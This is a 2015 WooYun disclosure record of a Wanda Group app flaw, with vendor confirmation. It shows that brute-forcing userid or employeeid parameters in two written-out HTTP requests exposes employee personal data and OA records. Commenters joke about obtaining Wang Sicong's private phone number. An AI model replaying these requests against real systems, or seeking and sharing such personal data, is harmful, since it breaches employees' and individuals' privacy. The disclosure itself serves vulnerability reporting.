当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150361

漏洞标题:大连万达集团APP设计缺陷可再次遍历员工个人信息和部分办公信息

相关厂商:大连万达集团股份有限公司

漏洞作者: 高小厨

提交时间:2015-10-29 20:33

修复时间:2015-12-13 21:12

公开时间:2015-12-13 21:12

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-29: 细节已通知厂商并且等待厂商处理中
2015-10-29: 厂商已经确认,细节仅向厂商公开
2015-11-08: 细节向核心白帽子及相关领域专家公开
2015-11-18: 细节向普通白帽子公开
2015-11-28: 细节向实习白帽子公开
2015-12-13: 细节向公众公开

简要描述:

月末了,来wooyun报道
然后才想起来还有一个贵司的VPN没有发乌云,然后今天发现用不了了。。。

详细说明:

1.还是那个“万达集团”APP
2.两个接口,获取员工个人信息,爆破userid就行了

GET http://app.wanda.cn/wanda3v/user/userinfo.html?userid=wangyang HTTP/1.1
Host: app.wanda.cn
Connection: close
Accept-Encoding: gzip
User-Agent: 万达集团 3.0 rv:6612 (iPad; iPhone OS 8.4; zh_CN)
Connection: close
Cookie: jsessionid|JSESSIONID=6c1fd8e773545ae579fcacc22a7c22df


3.获取员工OA部分信息

GET http://app.wanda.cn/wanda3v/oaapprove/oaapprovelist.html?type=1&resolution=960*640&vid=2a51f71011fc448cb186eb1958b0ec55&devid=7c7db2d9ec0c17619d0671d1088b21e22a3aa7c9&employeeid=wanglei0&sysversion=8.4&devicetype=0&num=20&start=1&datetime=1446097677&devtype=0&systype=iPhone%20OS&phonemodel=Unknown%20iPad&appname=ctx&appversion=3.0 HTTP/1.1
Host: app.wanda.cn
Connection: close
Accept-Encoding: gzip
User-Agent: 万达集团 3.0 rv:6612 (iPad; iPhone OS 8.4; zh_CN)
Connection: close
Cookie: jsessionid|JSESSIONID=4428f07da5ab0bc877967df8bf788dce


漏洞证明:

个人信息:

1.png

2.png

3.png


OA信息:

5.png

6.png

7.png

修复方案:

哎~~~还是没找到聪个电话号

版权声明:转载请注明来源 高小厨@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-29 21:10

厂商回复:

感谢高小厨同学的关注与贡献!马上通知业务整改!另外,不用再试图找王思聪先生的联系方式了,因为我们也找不到。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-10-29 20:34 | DNS ( 普通白帽子 | Rank:543 漏洞数:61 | 没有我,你们就去背IP吧)

    1

  2. 2015-10-29 20:49 | SeaPrince ( 路人 | Rank:1 漏洞数:1 | 轻轻走过梦想的花园,离开了最后希望)

    1

  3. 2015-10-29 21:09 | 大胖子 ( 普通白帽子 | Rank:122 漏洞数:12 )

    我的珍藏 啊厨子

  4. 2015-10-29 22:05 | webshell ( 实习白帽子 | Rank:58 漏洞数:18 | 没有伞的孩子必须努力奔跑。)

    谁想要王校长的联系方式!我有!哈哈!

  5. 2015-10-29 22:31 | 李旭敏 ( 普通白帽子 | Rank:607 漏洞数:88 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    @webshell 请私聊我

  6. 2015-10-29 23:28 | Ton7BrEak ( 普通白帽子 | Rank:233 漏洞数:47 | 吃苦耐劳,我只会第一个!)

    那么~小厨要过思聪的电话咯?